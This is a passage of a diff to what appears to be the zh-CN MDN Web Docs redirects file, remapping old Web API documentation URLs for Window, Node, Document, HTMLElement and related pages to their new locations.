/zh-CN/docs/conflicting/Web/API/EventTarget/addEventListener +/zh-CN/docs/Web/API/EventTarget/detachEvent /zh-CN/docs/conflicting/Web/API/EventTarget/removeEventListener +/zh-CN/docs/Web/API/EventTarget/fireEvent /zh-CN/docs/conflicting/Web/API/EventTarget/dispatchEvent +/zh-CN/docs/Web/API/FetchController /zh-CN/docs/Web/API/AbortController +/zh-CN/docs/Web/API/FetchController/AbortController /zh-CN/docs/Web/API/AbortController/AbortController +/zh-CN/docs/Web/API/FetchController/abort /zh-CN/docs/Web/API/AbortController/abort +/zh-CN/docs/Web/API/FetchObserver /zh-CN/docs/orphaned/Web/API/FetchObserver /zh-CN/docs/Web/API/Fetch_API/基本概念 /zh-CN/docs/Web/API/Fetch_API/Basic_concepts /zh-CN/docs/Web/API/File.fileName /zh-CN/docs/Web/API/File/fileName /zh-CN/docs/Web/API/File.fileSize /zh-CN/docs/Web/API/File/fileSize @@ -1345,6 +1564,11 @@ /zh-CN/docs/Web/API/File.getAsText /zh-CN/docs/Web/API/File/getAsText /zh-CN/docs/Web/API/File.lastModifiedDate /zh-CN/docs/Web/API/File/lastModifiedDate /zh-CN/docs/Web/API/File.name /zh-CN/docs/Web/API/File/name +/zh-CN/docs/Web/API/FileReader/中止事件(abort) /zh-CN/docs/Web/API/FileReader/abort_event +/zh-CN/docs/Web/API/FormData/删除 /zh-CN/docs/Web/API/FormData/delete +/zh-CN/docs/Web/API/Fullscreen_API/指南 /zh-CN/docs/Web/API/Fullscreen_API/Guide +/zh-CN/docs/Web/API/Geolocation/Using_geolocation /zh-CN/docs/Web/API/Geolocation_API +/zh-CN/docs/Web/API/GeolocationPosition/获取该位置时的时间戳 /zh-CN/docs/Web/API/GeolocationPosition/timestamp /zh-CN/docs/Web/API/GlobalEventHandlers.onblur /zh-CN/docs/Web/API/GlobalEventHandlers/onblur /zh-CN/docs/Web/API/GlobalEventHandlers.onchange /zh-CN/docs/Web/API/GlobalEventHandlers/onchange /zh-CN/docs/Web/API/GlobalEventHandlers.oncontextmenu /zh-CN/docs/Web/API/GlobalEventHandlers/oncontextmenu @@ -1363,34 +1587,49 @@ /zh-CN/docs/Web/API/GlobalEventHandlers.onscroll /zh-CN/docs/Web/API/GlobalEventHandlers/onscroll /zh-CN/docs/Web/API/GlobalEventHandlers.onselect /zh-CN/docs/Web/API/GlobalEventHandlers/onselect /zh-CN/docs/Web/API/GlobalEventHandlers.onsubmit /zh-CN/docs/Web/API/GlobalEventHandlers/onsubmit +/zh-CN/docs/Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/ontouchmove /zh-CN/docs/Web/API/GlobalEventHandlers/动画效果 /zh-CN/docs/Web/API/GlobalEventHandlers/onanimationend +/zh-CN/docs/Web/API/GlobalEventHandlers/时长改变 /zh-CN/docs/Web/API/GlobalEventHandlers/ondurationchange /zh-CN/docs/Web/API/GlobalFetch /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope /zh-CN/docs/Web/API/GlobalFetch/fetch /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/fetch -/zh-CN/docs/Web/API/HTMLElement.blur /zh-CN/docs/Web/API/HTMLElement/blur +/zh-CN/docs/Web/API/HTMLAnchorElement/referrer /zh-CN/docs/Web/API/HTMLAnchorElement/referrerPolicy +/zh-CN/docs/Web/API/HTMLCanvasElement/捕获流 /zh-CN/docs/Web/API/HTMLCanvasElement/captureStream +/zh-CN/docs/Web/API/HTMLElement.blur /zh-CN/docs/Web/API/HTMLOrForeignElement/blur /zh-CN/docs/Web/API/HTMLElement.click /zh-CN/docs/Web/API/HTMLElement/click /zh-CN/docs/Web/API/HTMLElement.contentEditable /zh-CN/docs/Web/API/HTMLElement/contentEditable -/zh-CN/docs/Web/API/HTMLElement.dataset /zh-CN/docs/Web/API/HTMLElement/dataset +/zh-CN/docs/Web/API/HTMLElement.dataset /zh-CN/docs/Web/API/HTMLOrForeignElement/dataset /zh-CN/docs/Web/API/HTMLElement.dir /zh-CN/docs/Web/API/HTMLElement/dir -/zh-CN/docs/Web/API/HTMLElement.focus /zh-CN/docs/Web/API/HTMLElement/focus +/zh-CN/docs/Web/API/HTMLElement.focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus /zh-CN/docs/Web/API/HTMLElement.isContentEditable /zh-CN/docs/Web/API/HTMLElement/isContentEditable /zh-CN/docs/Web/API/HTMLElement.lang /zh-CN/docs/Web/API/HTMLElement/lang /zh-CN/docs/Web/API/HTMLElement.offsetLeft /zh-CN/docs/Web/API/HTMLElement/offsetLeft /zh-CN/docs/Web/API/HTMLElement.offsetParent /zh-CN/docs/Web/API/HTMLElement/offsetParent /zh-CN/docs/Web/API/HTMLElement.offsetTop /zh-CN/docs/Web/API/HTMLElement/offsetTop /zh-CN/docs/Web/API/HTMLElement.offsetWidth /zh-CN/docs/Web/API/HTMLElement/offsetWidth -/zh-CN/docs/Web/API/HTMLElement.style /zh-CN/docs/Web/API/HTMLElement/style -/zh-CN/docs/Web/API/HTMLElement.tabIndex /zh-CN/docs/Web/API/HTMLElement/tabIndex +/zh-CN/docs/Web/API/HTMLElement.style /zh-CN/docs/Web/API/ElementCSSInlineStyle/style +/zh-CN/docs/Web/API/HTMLElement.tabIndex /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLElement.title /zh-CN/docs/Web/API/HTMLElement/title +/zh-CN/docs/Web/API/HTMLElement/blur /zh-CN/docs/Web/API/HTMLOrForeignElement/blur +/zh-CN/docs/Web/API/HTMLElement/dataset /zh-CN/docs/Web/API/HTMLOrForeignElement/dataset +/zh-CN/docs/Web/API/HTMLElement/focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus +/zh-CN/docs/Web/API/HTMLElement/nonce /zh-CN/docs/Web/API/HTMLOrForeignElement/nonce +/zh-CN/docs/Web/API/HTMLElement/style /zh-CN/docs/Web/API/ElementCSSInlineStyle/style +/zh-CN/docs/Web/API/HTMLElement/tabIndex /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLFormElement.elements /zh-CN/docs/Web/API/HTMLFormElement/elements /zh-CN/docs/Web/API/HTMLFormElement.reset /zh-CN/docs/Web/API/HTMLFormElement/reset /zh-CN/docs/Web/API/HTMLFormElement.submit /zh-CN/docs/Web/API/HTMLFormElement/submit -/zh-CN/docs/Web/API/HTMLInputElement.mozSetFileNameArray /zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray +/zh-CN/docs/Web/API/HTMLInputElement.mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement +/zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/Web/API/HTMLTableElement.deleteTHead /zh-CN/docs/Web/API/HTMLTableElement/deleteTHead /zh-CN/docs/Web/API/IDBCursor.direction /zh-CN/docs/Web/API/IDBCursor/direction /zh-CN/docs/Web/API/IDBFactory.open /zh-CN/docs/Web/API/IDBFactory/open /zh-CN/docs/Web/API/IDBObjectStore.openCursor /zh-CN/docs/Web/API/IDBObjectStore/openCursor /zh-CN/docs/Web/API/IndexedDB_API/IDBObjectStore /zh-CN/docs/Web/API/IDBObjectStore +/zh-CN/docs/Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 /zh-CN/docs/Web/API/Intersection_Observer_API/Timing_element_visibility /zh-CN/docs/Web/API/Location.replace /zh-CN/docs/Web/API/Location/replace +/zh-CN/docs/Web/API/MSSelection /zh-CN/docs/orphaned/Web/API/MSSelection +/zh-CN/docs/Web/API/MediaStream.addTrack /zh-CN/docs/Web/API/MediaStream/addTrack +/zh-CN/docs/Web/API/NameList /zh-CN/docs/orphaned/Web/API/NameList /zh-CN/docs/Web/API/Navigator.battery /zh-CN/docs/Web/API/Navigator/battery /zh-CN/docs/Web/API/Navigator.buildID /zh-CN/docs/Web/API/Navigator/buildID /zh-CN/docs/Web/API/Navigator.cookieEnabled /zh-CN/docs/Web/API/Navigator/cookieEnabled @@ -1400,6 +1639,7 @@ /zh-CN/docs/Web/API/Navigator.registerContentHandler /zh-CN/docs/Web/API/Navigator/registerContentHandler /zh-CN/docs/Web/API/Navigator.vendor /zh-CN/docs/Web/API/Navigator/vendor /zh-CN/docs/Web/API/Navigator.vendorSub /zh-CN/docs/Web/API/Navigator/vendorSub +/zh-CN/docs/Web/API/NavigatorGeolocation /zh-CN/docs/conflicting/Web/API/Geolocation /zh-CN/docs/Web/API/NavigatorGeolocation.geolocation /zh-CN/docs/Web/API/Navigator/geolocation /zh-CN/docs/Web/API/NavigatorGeolocation/geolocation /zh-CN/docs/Web/API/Navigator/geolocation /zh-CN/docs/Web/API/NavigatorID.appCodeName /zh-CN/docs/Web/API/NavigatorID/appCodeName @@ -1412,10 +1652,11 @@ /zh-CN/docs/Web/API/NavigatorOnLine.onLine /zh-CN/docs/Web/API/NavigatorOnLine/onLine /zh-CN/docs/Web/API/NavigatorPlugins.javaEnabled /zh-CN/docs/Web/API/NavigatorPlugins/javaEnabled /zh-CN/docs/Web/API/NavigatorPlugins.plugins /zh-CN/docs/Web/API/NavigatorPlugins/plugins +/zh-CN/docs/Web/API/NavigatorPlugins/测试滕盖 /zh-CN/docs/orphaned/Web/API/NavigatorPlugins/测试滕盖 /zh-CN/docs/Web/API/Node.appendChild /zh-CN/docs/Web/API/Node/appendChild /zh-CN/docs/Web/API/Node.attributes /zh-CN/docs/Web/API/Element/attributes /zh-CN/docs/Web/API/Node.baseURI /zh-CN/docs/Web/API/Node/baseURI -/zh-CN/docs/Web/API/Node.baseURIObject /zh-CN/docs/Web/API/Node/baseURIObject +/zh-CN/docs/Web/API/Node.baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/Web/API/Node.childNodes /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/Web/API/Node.cloneNode /zh-CN/docs/Web/API/Node/cloneNode /zh-CN/docs/Web/API/Node.compareDocumentPosition /zh-CN/docs/Web/API/Node/compareDocumentPosition @@ -1436,7 +1677,7 @@ /zh-CN/docs/Web/API/Node.namespaceURI /zh-CN/docs/Web/API/Node/namespaceURI /zh-CN/docs/Web/API/Node.nextSibling /zh-CN/docs/Web/API/Node/nextSibling /zh-CN/docs/Web/API/Node.nodeName /zh-CN/docs/Web/API/Node/nodeName -/zh-CN/docs/Web/API/Node.nodePrincipal /zh-CN/docs/Web/API/Node/nodePrincipal +/zh-CN/docs/Web/API/Node.nodePrincipal /zh-CN/docs/conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556 /zh-CN/docs/Web/API/Node.nodeType /zh-CN/docs/Web/API/Node/nodeType /zh-CN/docs/Web/API/Node.nodeValue /zh-CN/docs/Web/API/Node/nodeValue /zh-CN/docs/Web/API/Node.normalize /zh-CN/docs/Web/API/Node/normalize @@ -1450,19 +1691,30 @@ /zh-CN/docs/Web/API/Node.setUserData /zh-CN/docs/Web/API/Node/setUserData /zh-CN/docs/Web/API/Node.textContent /zh-CN/docs/Web/API/Node/textContent /zh-CN/docs/Web/API/Node/C /zh-CN/docs/Web/API/Node/contains +/zh-CN/docs/Web/API/Node/baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/Web/API/Node/childNodes_temp /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/Web/API/Node/hasAttributes /zh-CN/docs/Web/API/Element/hasAttributes +/zh-CN/docs/Web/API/Node/innerText /zh-CN/docs/Web/API/HTMLElement/innerText +/zh-CN/docs/Web/API/Node/nodePrincipal /zh-CN/docs/conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556 +/zh-CN/docs/Web/API/Node/outerText /zh-CN/docs/conflicting/Web/API/HTMLElement/outerText +/zh-CN/docs/Web/API/Node/rootNode /zh-CN/docs/conflicting/Web/API/Node/getRootNode /zh-CN/docs/Web/API/NodeList.item /zh-CN/docs/Web/API/NodeList/item /zh-CN/docs/Web/API/NonDocumentTypeChildNode.nextElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/nextElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode.previousElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/previousElementSibling +/zh-CN/docs/Web/API/OfflineAudioContext/complete /zh-CN/docs/Web/API/OfflineAudioContext/complete_event /zh-CN/docs/Web/API/ParentNode.childElementCount /zh-CN/docs/Web/API/ParentNode/childElementCount /zh-CN/docs/Web/API/ParentNode.children /zh-CN/docs/Web/API/ParentNode/children /zh-CN/docs/Web/API/ParentNode.firstElementChild /zh-CN/docs/Web/API/ParentNode/firstElementChild /zh-CN/docs/Web/API/ParentNode.lastElementChild /zh-CN/docs/Web/API/ParentNode/lastElementChild /zh-CN/docs/Web/API/Performance.now() /zh-CN/docs/Web/API/Performance/now +/zh-CN/docs/Web/API/Performance/内存 /zh-CN/docs/Web/API/Performance/memory /zh-CN/docs/Web/API/Position /zh-CN/docs/Web/API/GeolocationPosition /zh-CN/docs/Web/API/Position/coords /zh-CN/docs/Web/API/GeolocationPosition/coords /zh-CN/docs/Web/API/PositionError /zh-CN/docs/Web/API/GeolocationPositionError +/zh-CN/docs/Web/API/Push_API/Using_the_Push_API /zh-CN/docs/conflicting/Web/API/Push_API +/zh-CN/docs/Web/API/RandomSource /zh-CN/docs/conflicting/Web/API/Crypto/getRandomValues +/zh-CN/docs/Web/API/RandomSource/getRandomValues /zh-CN/docs/Web/API/Crypto/getRandomValues +/zh-CN/docs/Web/API/Response/克隆 /zh-CN/docs/Web/API/Response/clone /zh-CN/docs/Web/API/Screen.availHeight /zh-CN/docs/Web/API/Screen/availHeight /zh-CN/docs/Web/API/Screen.availLeft /zh-CN/docs/Web/API/Screen/availLeft /zh-CN/docs/Web/API/Screen.availTop /zh-CN/docs/Web/API/Screen/availTop @@ -1471,16 +1723,23 @@ /zh-CN/docs/Web/API/Screen.height /zh-CN/docs/Web/API/Screen/height /zh-CN/docs/Web/API/Screen.pixelDepth /zh-CN/docs/Web/API/Screen/pixelDepth /zh-CN/docs/Web/API/Screen.width /zh-CN/docs/Web/API/Screen/width +/zh-CN/docs/Web/API/Screen_Capture_API/使用屏幕捕获API /zh-CN/docs/Web/API/Screen_Capture_API/Using_Screen_Capture /zh-CN/docs/Web/API/Selection.addRange /zh-CN/docs/Web/API/Selection/addRange /zh-CN/docs/Web/API/Selection.anchorNode /zh-CN/docs/Web/API/Selection/anchorNode /zh-CN/docs/Web/API/Selection.focusNode /zh-CN/docs/Web/API/Selection/focusNode /zh-CN/docs/Web/API/Selection.getRangeAt /zh-CN/docs/Web/API/Selection/getRangeAt /zh-CN/docs/Web/API/Selection.isCollapsed /zh-CN/docs/Web/API/Selection/isCollapsed /zh-CN/docs/Web/API/Selection.removeRange /zh-CN/docs/Web/API/Selection/removeRange +/zh-CN/docs/Web/API/Selection/从Document中删除 /zh-CN/docs/Web/API/Selection/deleteFromDocument +/zh-CN/docs/Web/API/Slotable /zh-CN/docs/conflicting/Web/API/Element +/zh-CN/docs/Web/API/Storage/LocalStorage /zh-CN/docs/conflicting/Web/API/Window/localStorage +/zh-CN/docs/Web/API/Streams_API/使用可读文件流 /zh-CN/docs/Web/API/Streams_API/Using_readable_streams +/zh-CN/docs/Web/API/Streams_API/概念 /zh-CN/docs/Web/API/Streams_API/Concepts /zh-CN/docs/Web/API/Text.isElementContentWhitespace /zh-CN/docs/Web/API/Text/isElementContentWhitespace /zh-CN/docs/Web/API/Text.replaceWholeText /zh-CN/docs/Web/API/Text/replaceWholeText /zh-CN/docs/Web/API/Text.splitText /zh-CN/docs/Web/API/Text/splitText /zh-CN/docs/Web/API/TextEncoder.TextEncoder /zh-CN/docs/Web/API/TextEncoder/TextEncoder +/zh-CN/docs/Web/API/TextRange/text /zh-CN/docs/orphaned/Web/API/TextRange/text /zh-CN/docs/Web/API/Touch.clientX /zh-CN/docs/Web/API/Touch/clientX /zh-CN/docs/Web/API/Touch.clientY /zh-CN/docs/Web/API/Touch/clientY /zh-CN/docs/Web/API/Touch.force /zh-CN/docs/Web/API/Touch/force @@ -1493,20 +1752,38 @@ /zh-CN/docs/Web/API/Touch.screenX /zh-CN/docs/Web/API/Touch/screenX /zh-CN/docs/Web/API/Touch.screenY /zh-CN/docs/Web/API/Touch/screenY /zh-CN/docs/Web/API/TouchEvent.changedTouches /zh-CN/docs/Web/API/TouchEvent/changedTouches +/zh-CN/docs/Web/API/UIEvent/视图 /zh-CN/docs/Web/API/UIEvent/view /zh-CN/docs/Web/API/URL.URL /zh-CN/docs/Web/API/URL/URL /zh-CN/docs/Web/API/URL.createObjectURL /zh-CN/docs/Web/API/URL/createObjectURL /zh-CN/docs/Web/API/URL.revokeObjectURL /zh-CN/docs/Web/API/URL/revokeObjectURL +/zh-CN/docs/Web/API/URL/密码 /zh-CN/docs/Web/API/URL/password +/zh-CN/docs/Web/API/URLUtils /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils +/zh-CN/docs/Web/API/URLUtils/hash /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/hash +/zh-CN/docs/Web/API/URLUtils/href /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/href +/zh-CN/docs/Web/API/URLUtils/origin /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/origin +/zh-CN/docs/Web/API/URLUtils/password /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/password +/zh-CN/docs/Web/API/URLUtils/pathname /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/pathname +/zh-CN/docs/Web/API/URLUtils/search /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/search +/zh-CN/docs/Web/API/URLUtils/toString /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/toString +/zh-CN/docs/Web/API/URLUtils/username /zh-CN/docs/Web/API/HTMLHyperlinkElementUtils/username +/zh-CN/docs/Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) /zh-CN/docs/Web/API/WebGLRenderingContext/polygonOffset /zh-CN/docs/Web/API/WebGL_API/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/API/WebGL_API/Getting_started_with_WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +/zh-CN/docs/Web/API/WebRTC_API/Architecture /zh-CN/docs/conflicting/Web/API/WebRTC_API/Protocols +/zh-CN/docs/Web/API/WebRTC_API/Overview /zh-CN/docs/conflicting/Web/API/WebRTC_API +/zh-CN/docs/Web/API/WebRTC_API/WebRTC_basics /zh-CN/docs/conflicting/Web/API/WebRTC_API/Signaling_and_video_calling +/zh-CN/docs/Web/API/WebSocket/二进制类型 /zh-CN/docs/Web/API/WebSocket/binaryType +/zh-CN/docs/Web/API/WebSockets_API/WebSocket_Server_Vb.NET /zh-CN/docs/orphaned/Web/API/WebSockets_API/WebSocket_Server_Vb.NET /zh-CN/docs/Web/API/WebVR_API/WebVR_concepts /zh-CN/docs/Web/API/WebVR_API/Concepts /zh-CN/docs/Web/API/Web_Audio_API/基于Web_Audio_API实现的音频可视化效果 /zh-CN/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API +/zh-CN/docs/Web/API/Web_Audio_API/最佳实践 /zh-CN/docs/Web/API/Web_Audio_API/Best_practices /zh-CN/docs/Web/API/Window.alert /zh-CN/docs/Web/API/Window/alert /zh-CN/docs/Web/API/Window.applicationCache /zh-CN/docs/Web/API/Window/applicationCache -/zh-CN/docs/Web/API/Window.atob /zh-CN/docs/Web/API/WindowBase64/atob -/zh-CN/docs/Web/API/Window.btoa /zh-CN/docs/Web/API/WindowBase64/btoa +/zh-CN/docs/Web/API/Window.atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/Web/API/Window.btoa /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/Web/API/Window.cancelAnimationFrame /zh-CN/docs/Web/API/Window/cancelAnimationFrame /zh-CN/docs/Web/API/Window.clearImmediate /zh-CN/docs/Web/API/Window/clearImmediate -/zh-CN/docs/Web/API/Window.clearInterval /zh-CN/docs/Web/API/Window/clearInterval +/zh-CN/docs/Web/API/Window.clearInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval /zh-CN/docs/Web/API/Window.close /zh-CN/docs/Web/API/Window/close /zh-CN/docs/Web/API/Window.document /zh-CN/docs/Web/API/Window/document /zh-CN/docs/Web/API/Window.find /zh-CN/docs/Web/API/Window/find @@ -1525,12 +1802,12 @@ /zh-CN/docs/Web/API/Window.mozAnimationStartTime /zh-CN/docs/Web/API/Window/mozAnimationStartTIme /zh-CN/docs/Web/API/Window.name /zh-CN/docs/Web/API/Window/name /zh-CN/docs/Web/API/Window.navigator /zh-CN/docs/Web/API/Window/navigator -/zh-CN/docs/Web/API/Window.onbeforeunload /zh-CN/docs/Web/API/Window/onbeforeunload -/zh-CN/docs/Web/API/Window.onhashchange /zh-CN/docs/Web/API/Window/onhashchange -/zh-CN/docs/Web/API/Window.onmouseup /zh-CN/docs/Web/API/Window/onmouseup -/zh-CN/docs/Web/API/Window.onpopstate /zh-CN/docs/Web/API/Window/onpopstate +/zh-CN/docs/Web/API/Window.onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload +/zh-CN/docs/Web/API/Window.onhashchange /zh-CN/docs/Web/API/WindowEventHandlers/onhashchange +/zh-CN/docs/Web/API/Window.onmouseup /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onmouseup +/zh-CN/docs/Web/API/Window.onpopstate /zh-CN/docs/Web/API/WindowEventHandlers/onpopstate /zh-CN/docs/Web/API/Window.onresize /zh-CN/docs/Web/API/GlobalEventHandlers/onresize -/zh-CN/docs/Web/API/Window.onunload /zh-CN/docs/Web/API/Window/onunload +/zh-CN/docs/Web/API/Window.onunload /zh-CN/docs/Web/API/WindowEventHandlers/onunload /zh-CN/docs/Web/API/Window.openDialog /zh-CN/docs/Web/API/Window/openDialog /zh-CN/docs/Web/API/Window.opener /zh-CN/docs/Web/API/Window/opener /zh-CN/docs/Web/API/Window.outerHeight /zh-CN/docs/Web/API/Window/outerHeight @@ -1548,15 +1825,32 @@ /zh-CN/docs/Web/API/Window.scrollY /zh-CN/docs/Web/API/Window/scrollY /zh-CN/docs/Web/API/Window.self /zh-CN/docs/Web/API/Window/self /zh-CN/docs/Web/API/Window.setImmediate /zh-CN/docs/Web/API/Window/setImmediate -/zh-CN/docs/Web/API/Window.setInterval /zh-CN/docs/Web/API/Window/setInterval +/zh-CN/docs/Web/API/Window.setInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setInterval /zh-CN/docs/Web/API/Window.showModalDialog /zh-CN/docs/Web/API/Window/showModalDialog /zh-CN/docs/Web/API/Window.top /zh-CN/docs/Web/API/Window/top -/zh-CN/docs/Web/API/Window/atob /zh-CN/docs/Web/API/WindowBase64/atob -/zh-CN/docs/Web/API/Window/btoa /zh-CN/docs/Web/API/WindowBase64/btoa +/zh-CN/docs/Web/API/Window/URL /zh-CN/docs/conflicting/Web/API/URL +/zh-CN/docs/Web/API/Window/Window.blur() /zh-CN/docs/Web/API/Window/blur +/zh-CN/docs/Web/API/Window/atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/Web/API/Window/btoa /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/Web/API/Window/caches /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/caches +/zh-CN/docs/Web/API/Window/clearInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval +/zh-CN/docs/Web/API/Window/getAttention /zh-CN/docs/orphaned/Web/API/Window/getAttention +/zh-CN/docs/Web/API/Window/onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload +/zh-CN/docs/Web/API/Window/onhashchange /zh-CN/docs/Web/API/WindowEventHandlers/onhashchange +/zh-CN/docs/Web/API/Window/onmouseup /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onmouseup +/zh-CN/docs/Web/API/Window/onpopstate /zh-CN/docs/Web/API/WindowEventHandlers/onpopstate /zh-CN/docs/Web/API/Window/onresize /zh-CN/docs/Web/API/GlobalEventHandlers/onresize +/zh-CN/docs/Web/API/Window/onscroll /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onscroll +/zh-CN/docs/Web/API/Window/onunload /zh-CN/docs/Web/API/WindowEventHandlers/onunload +/zh-CN/docs/Web/API/Window/restore /zh-CN/docs/conflicting/Web/API/Window/moveTo +/zh-CN/docs/Web/API/Window/setInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setInterval +/zh-CN/docs/Web/API/Window/setTimeout /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout /zh-CN/docs/Web/API/WindowBase64 /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope#方法 +/zh-CN/docs/Web/API/WindowBase64/Base64_encoding_and_decoding /zh-CN/docs/Glossary/Base64 +/zh-CN/docs/Web/API/WindowBase64/atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/Web/API/WindowBase64/btoa /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/Web/API/WindowTimers /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope +/zh-CN/docs/Web/API/WindowTimers/clearTimeout /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout /zh-CN/docs/Web/API/XMLDocument.load /zh-CN/docs/Web/API/XMLDocument/load /zh-CN/docs/Web/API/XMLHttpRequest/FormData /zh-CN/docs/Web/API/FormData /zh-CN/docs/Web/API/console.dir /zh-CN/docs/Web/API/Console/dir @@ -1587,40 +1881,42 @@ /zh-CN/docs/Web/API/document.documentElement /zh-CN/docs/Web/API/Document/documentElement /zh-CN/docs/Web/API/document.documentURI /zh-CN/docs/Web/API/Document/documentURI /zh-CN/docs/Web/API/document.documentURIObject /zh-CN/docs/Web/API/Document/documentURIObject -/zh-CN/docs/Web/API/document.elementFromPoint /zh-CN/docs/Web/API/Document/elementFromPoint +/zh-CN/docs/Web/API/document.elementFromPoint /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint /zh-CN/docs/Web/API/document.embeds /zh-CN/docs/Web/API/Document/embeds /zh-CN/docs/Web/API/document.evaluate /zh-CN/docs/Web/API/Document/evaluate /zh-CN/docs/Web/API/document.execCommand /zh-CN/docs/Web/API/Document/execCommand /zh-CN/docs/Web/API/document.fgColor /zh-CN/docs/Web/API/Document/fgColor /zh-CN/docs/Web/API/document.forms /zh-CN/docs/Web/API/Document/forms /zh-CN/docs/Web/API/document.getElementById /zh-CN/docs/Web/API/Document/getElementById -/zh-CN/docs/Web/API/document.getSelection /zh-CN/docs/Web/API/Document/getSelection +/zh-CN/docs/Web/API/document.getSelection /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/getSelection /zh-CN/docs/Web/API/document.hasFocus /zh-CN/docs/Web/API/Document/hasFocus /zh-CN/docs/Web/API/document.head /zh-CN/docs/Web/API/Document/head /zh-CN/docs/Web/API/document.height /zh-CN/docs/Web/API/Document/height /zh-CN/docs/Web/API/document.images /zh-CN/docs/Web/API/Document/images /zh-CN/docs/Web/API/document.implementation /zh-CN/docs/Web/API/Document/implementation -/zh-CN/docs/Web/API/document.inputEncoding /zh-CN/docs/Web/API/Document/inputEncoding +/zh-CN/docs/Web/API/document.inputEncoding /zh-CN/docs/conflicting/Web/API/Document/characterSet /zh-CN/docs/Web/API/document.lastModified /zh-CN/docs/Web/API/Document/lastModified /zh-CN/docs/Web/API/document.lastStyleSheetSet /zh-CN/docs/Web/API/Document/lastStyleSheetSet /zh-CN/docs/Web/API/document.linkColor /zh-CN/docs/Web/API/Document/linkColor /zh-CN/docs/Web/API/document.links /zh-CN/docs/Web/API/Document/links /zh-CN/docs/Web/API/document.location /zh-CN/docs/Web/API/Document/location -/zh-CN/docs/Web/API/document.mozFullScreen /zh-CN/docs/Web/API/Document/mozFullScreen -/zh-CN/docs/Web/API/document.mozFullScreenElement /zh-CN/docs/Web/API/Document/mozFullScreenElement -/zh-CN/docs/Web/API/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/mozFullScreenEnabled +/zh-CN/docs/Web/API/document.mozFullScreen /zh-CN/docs/Web/API/Document/fullscreen +/zh-CN/docs/Web/API/document.mozFullScreenElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/fullscreenElement +/zh-CN/docs/Web/API/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/fullscreenEnabled /zh-CN/docs/Web/API/document.querySelector /zh-CN/docs/Web/API/Document/querySelector /zh-CN/docs/Web/API/document.readyState /zh-CN/docs/Web/API/Document/readyState /zh-CN/docs/Web/API/document.referrer /zh-CN/docs/Web/API/Document/referrer /zh-CN/docs/Web/API/document.scripts /zh-CN/docs/Web/API/Document/scripts -/zh-CN/docs/Web/API/document.styleSheets /zh-CN/docs/Web/API/Document/styleSheets +/zh-CN/docs/Web/API/document.styleSheets /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/styleSheets /zh-CN/docs/Web/API/document.title /zh-CN/docs/Web/API/Document/title /zh-CN/docs/Web/API/document.tooltipNode /zh-CN/docs/Web/API/Document/tooltipNode /zh-CN/docs/Web/API/document.width /zh-CN/docs/Web/API/Document/width /zh-CN/docs/Web/API/document.write /zh-CN/docs/Web/API/Document/write /zh-CN/docs/Web/API/document.writeln 